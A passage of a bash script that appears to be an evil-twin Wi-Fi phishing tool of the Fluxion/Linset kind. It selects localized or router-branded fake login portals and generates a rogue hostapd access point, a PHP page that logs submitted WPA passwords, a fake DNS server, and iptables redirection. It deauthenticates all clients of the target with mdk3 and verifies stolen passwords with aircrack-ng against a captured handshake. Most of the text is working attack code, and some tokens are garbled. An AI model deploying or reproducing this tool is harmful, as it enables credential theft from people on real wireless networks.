DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GER DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GER DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GER DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GER NEUTRA break elif [ "$webconf" = "3" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RUS DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RUS DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RUS DIALOG_WEB_OK=$DIALOG_WEB_OK_RUS DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RUS DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RUS DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RUS DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RUS DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RUS DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RUS NEUTRA break elif [ "$webconf" = "4" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT DIALOG_WEB_OK=$DIALOG_WEB_OK_IT DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_IT DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_IT DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_IT DIALOG_WEB_DIR=$DIALOG_WEB_DIR_IT NEUTRA break elif [ "$webconf" = "5" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ESP DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ESP DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ESP DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ESP NEUTRA break elif [ "$webconf" = "6" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR DIALOG_WEB_OK=$DIALOG_WEB_OK_POR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_POR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_POR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_POR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_POR NEUTRA break elif [ "$webconf" = "7" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CN DIALOG_WEB_OK=$DIALOG_WEB_OK_CN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CN NEUTRA break elif [ "$webconf" = "8" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR DIALOG_WEB_OK=$DIALOG_WEB_OK_FR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_FR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_FR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_FR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_FR NEUTRA break elif [ "$webconf" = "9" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TR DIALOG_WEB_OK=$DIALOG_WEB_OK_TR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TR NEUTRA break elif [ "$webconf" = "10" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RO DIALOG_WEB_OK=$DIALOG_WEB_OK_RO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RO NEUTRA break elif [ "$webconf" = "11" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HU DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HU DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HU DIALOG_WEB_OK=$DIALOG_WEB_OK_HU DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HU DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HU DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HU DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HU DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HU DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HU NEUTRA break elif [ "$webconf" = "12" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ARA DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ARA DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ARA DIALOG_WEB_OK=$DIALOG_WEB_OK_ARA DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ARA DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ARA DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ARA DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ARA DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ARA DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ARA NEUTRA break elif [ "$webconf" = "13" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GR DIALOG_WEB_OK=$DIALOG_WEB_OK_GR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GR NEUTRA break elif [ "$webconf" = "14" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CZ DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CZ DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CZ DIALOG_WEB_OK=$DIALOG_WEB_OK_CZ DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CZ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CZ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CZ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CZ DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CZ DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CZ NEUTRA break elif [ "$webconf" = "15" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NO DIALOG_WEB_OK=$DIALOG_WEB_OK_NO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NO NEUTRA break elif [ "$webconf" = "16" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_BG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_BG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_BG DIALOG_WEB_OK=$DIALOG_WEB_OK_BG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_BG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_BG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_BG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_BG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_BG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_BG NEUTRA break elif [ "$webconf" = "17" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_SRB DIALOG_WEB_INFO=$DIALOG_WEB_INFO_SRB DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_SRB DIALOG_WEB_OK=$DIALOG_WEB_OK_SRB DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_SRB DIALOG_WEB_BACK=$DIALOG_WEB_BACK_SRB DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_SRB DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_SRB DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_SRB DIALOG_WEB_DIR=$DIALOG_WEB_DIR_SRB NEUTRA break elif [ "$webconf" = "18" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PL DIALOG_WEB_OK=$DIALOG_WEB_OK_PL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_PL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_PL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_PL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PL NEUTRA break elif [ "$webconf" = "19" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ID DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ID DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ID DIALOG_WEB_OK=$DIALOG_WEB_OK_ID DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ID DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ID DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ID DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ID DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ID DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ID NEUTRA break elif [ "$webconf" = "20" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NL DIALOG_WEB_OK=$DIALOG_WEB_OK_NL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NL NEUTRA break elif [ "$webconf" = 21 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_DAN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_DAN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_DAN DIALOG_WEB_OK=$DIALOG_WEB_OK_DAN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_DAN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_DAN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_DAN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_DAN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_DAN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_DAN NEUTRA break elif [ "$webconf" = 22 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HE DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HE DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HE DIALOG_WEB_OK=$DIALOG_WEB_OK_HE DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HE DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HE DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HE DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HE DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HE DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HE NEUTRA break elif [ "$webconf" = 23 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TH DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TH DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TH DIALOG_WEB_OK=$DIALOG_WEB_OK_TH DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TH DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TH DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TH DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TH DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TH DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TH NEUTRA break elif [ "$webconf" = 24 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_BR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_BR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_BR DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_BR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_BR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_BR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_BR NEUTRA break elif [ "$webconf" = 25 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_SVN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_SVN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_SVN DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_SVN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_SVN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_SVN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_SVN NEUTRA SVNeak elif [ "$webconf" = "26" ]; then BELKIN break elif [ "$webconf" = "27" ]; then NETGEAR break elif [ "$webconf" = "28" ]; then HUAWEI break elif [ "$webconf" = "29" ]; then VERIZON break elif [ "$webconf" = "30" ]; then NETGEAR2 break elif [ "$webconf" = "31" ]; then ARRIS2 break elif [ "$webconf" = "32" ]; then VODAFONE break elif [ "$webconf" = "33" ]; then TPLINK break elif [ "$webconf" = "34" ]; then ZIGGO_NL break elif [ "$webconf" = "35" ]; then KPN_NL break elif [ "$webconf" = "36" ]; then ZIGGO2016_NL break elif [ "$webconf" = "37" ]; then FRITZBOX_DE break elif [ "$webconf" = "38" ]; then FRITZBOX_ENG break elif [ "$webconf" = "39" ]; then GENEXIS_DE break elif [ "$webconf" = "40" ]; then Login-Netgear break elif [ "$webconf" = "41" ]; then Login-Xfinity break elif [ "$webconf" = "42" ]; then Telekom break elif [ "$webconf" = "43" ]; then google break elif [ "$webconf" = "44" ]; then MOVISTAR_ES break elif [ "$webconf" = "45" ]; then conditional_clear webinterface break fi done fi preattack attack } # Create different settings required for the script function preattack { # Config HostAPD echo "interface=$WIFI driver=nl80211 ssid=$Host_SSID channel=$Host_CHAN" > $DUMP_PATH/hostapd.conf # Creates PHP echo "<?php error_reporting(0); \$count_my_page = (\"$DUMP_PATH/hit.txt\"); \$hits = file(\$count_my_page); \$hits[0] ++; \$fp = fopen(\$count_my_page , \"w\"); fputs(\$fp , \$hits[0]); fclose(\$fp); // Receive form Post data and Saving it in variables \$key1 = @\$_POST['key1']; // Write the name of text file where data will be store \$filename = \"$DUMP_PATH/data.txt\"; \$filename2 = \"$DUMP_PATH/status.txt\"; \$intento = \"$DUMP_PATH/intento\"; \$attemptlog = \"$DUMP_PATH/pwattempt.txt\"; // Marge all the variables with text in a single variable. \$f_data= ''.\$key1.''; \$pwlog = fopen(\$attemptlog, \"w\"); fwrite(\$pwlog, \$f_data); fwrite(\$pwlog,\"\n\"); fclose(\$pwlog); \$file = fopen(\$filename, \"w\"); fwrite(\$file, \$f_data); fwrite(\$file,\"\n\"); fclose(\$file); \$archivo = fopen(\$intento, \"w\"); fwrite(\$archivo,\"\n\"); fclose(\$archivo); while( 1 ) { if (file_get_contents( \$intento ) == 1) { header(\"Location:error.html\"); unlink(\$intento); break; } if (file_get_contents( \$intento ) == 2) { header(\"Location:final.html\"); break; } sleep(1); } ?>" > $DUMP_PATH/data/check.php # Config DHCP echo "authoritative; default-lease-time 600; max-lease-time 7200; subnet $RANG_IP.0 netmask 255.255.255.0 { option broadcast-address $RANG_IP.255; option routers $IP; option subnet-mask 255.255.255.0; option domain-name-servers $IP; range $RANG_IP.100 $RANG_IP.250; }" > $DUMP_PATH/dhcpd.conf #create an empty leases file touch $DUMP_PATH/dhcpd.leases # creates Lighttpd web-server echo "server.document-root = \"$DUMP_PATH/data/\" server.modules = ( \"mod_access\", \"mod_alias\", \"mod_accesslog\", \"mod_fastcgi\", \"mod_redirect\", \"mod_rewrite\" ) fastcgi.server = ( \".php\" => (( \"bin-path\" => \"/usr/bin/php-cgi\", \"socket\" => \"/php.socket\" ))) server.port = 80 server.pid-file = \"/var/run/lighttpd.pid\" # server.username = \"www\" # server.groupname = \"www\" mimetype.assign = ( \".html\" => \"text/html\", \".htm\" => \"text/html\", \".txt\" => \"text/plain\", \".jpg\" => \"image/jpeg\", \".png\" => \"image/png\", \".css\" => \"text/css\" ) server.error-handler-404 = \"/\" static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) index-file.names = ( \"index.htm\", \"index.html\" ) \$SERVER[\"socket\"] == \":443\" { url.redirect = ( \"^/(.*)\" => \"http://www.internet.com\") ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } #Redirect www.domain.com to domain.com \$HTTP[\"host\"] =~ \"^www\.(.*)$\" { url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } " >$DUMP_PATH/lighttpd.conf # that redirects all DNS requests to the gateway echo "import socket class DNSQuery: def __init__(self, data): self.data=data self.dominio='' tipo = (ord(data[2]) >> 3) & 15 if tipo == 0: ini=12 lon=ord(data[ini]) while lon != 0: self.dominio+=data[ini+1:ini+lon+1]+'.' ini+=lon+1 lon=ord(data[ini]) def respuesta(self, ip): packet='' if self.dominio: packet+=self.data[:2] + \"\x81\x80\" packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' packet+=self.data[12:] packet+='\xc0\x0c' packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) return packet if __name__ == '__main__': ip='$IP' print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind(('',53)) try: while 1: data, addr = udps.recvfrom(1024) p=DNSQuery(data) udps.sendto(p.respuesta(ip), addr) print 'Request: %s -> %s' % (p.dominio, ip) except KeyboardInterrupt: print 'Finalizando' udps.close()" > $DUMP_PATH/fakedns chmod +x $DUMP_PATH/fakedns } # Set up DHCP / WEB server # Set up DHCP / WEB server function routear { ifconfig $interfaceroutear up ifconfig $interfaceroutear $IP netmask 255.255.255.0 route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP sysctl -w net.ipv4.ip_forward=1 &>$flux_output_device iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 iptables -A INPUT -p tcp --sport 443 -j ACCEPT iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT iptables -t nat -A POSTROUTING -j MASQUERADE } # Attack function attack { interfaceroutear=$WIFI handshakecheck nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) if [ "$fakeapmode" = "hostapd" ]; then ifconfig $WIFI down sleep 0.4 macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device sleep 0.4 ifconfig $WIFI up sleep 0.4 fi if [ $fakeapmode = "hostapd" ]; then killall hostapd &> $flux_output_device xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & elif [ $fakeapmode = "airbase-ng" ]; then killall airbase-ng &> $flux_output_device xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & fi sleep 5 routear & sleep 3 killall dhcpd &> $flux_output_device fuser -n tcp -k 53 67 80 &> $flux_output_device fuser -n udp -k 53 67 80 &> $flux_output_device xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e "if type python2 >/dev/null 2>/dev/null; then python2 $DUMP_PATH/fakedns; else python $DUMP_PATH/fakedns; fi" & lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device killall aireplay-ng &> $flux_output_device killall mdk3 &> $flux_output_device echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" Attack in progress .." echo " " echo " 1) Choose another network" echo " 2) Exit" echo " " echo -n ' #> ' read yn case $yn in 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; 2 ) matartodo; exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done } # Checks the validity of the password function handshakecheck { echo "#!/bin/bash echo > $DUMP_PATH/data.txt echo -n \"0\"> $DUMP_PATH/hit.txt echo "" >$DUMP_PATH/loggg tput civis clear minutos=0 horas=0 i=0 timestamp=\$(date +%s) while true; do segundos=\$i dias=\`expr \$segundos / 86400\` segundos=\`expr \$segundos % 86400\` horas=\`expr \$segundos / 3600\` segundos=\`expr \$segundos % 3600\` minutos=\`expr \$segundos / 60\` segundos=\`expr \$segundos % 60\` if [ \"\$segundos\" -le 9 ]; then is=\"0\" else is= fi if [ \"\$minutos\" -le 9 ]; then im=\"0\" else im= fi if [ \"\$horas\" -le 9 ]; then ih=\"0\" else ih= fi">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> \"$PASSLOG_PATH/$Host_SSID-$Host_MAC.log\" rm -f $DUMP_PATH/pwattempt.txt fi if [ -f $DUMP_PATH/intento ]; then if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo " if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> $PASSLOG_PATH/$Host_SSID-$Host_MAC.log rm -f $DUMP_PATH/pwattempt.txt fi wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & if [ -f $DUMP_PATH/intento ]; then if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi ">>$DUMP_PATH/handcheck fi echo "readarray -t CLIENTESDHCP < <(nmap -PR -sn -n -oG - $RANG_IP.100-110 2>&1 | grep Host ) echo echo -e \" ACCESS POINT:\" echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)"$transparent"\" echo echo -e \" CLIENTS ONLINE:\" x=0 for cliente in \"\${CLIENTESDHCP[@]}\"; do x=\$((\$x+1)) CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) CLIENTE_MAC=\$(nmap -PR -sn -n \$CLIENTE_IP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" fi CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) if echo \$CLIENTE_MAC| grep -q x; then CLIENTE_FABRICANTE=\"unknown\" fi CLIENTE_HOSTNAME=\$(grep \$CLIENTE_IP $DUMP_PATH/clientes.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') echo -e \" $green \$x) $red\$CLIENTE_IP 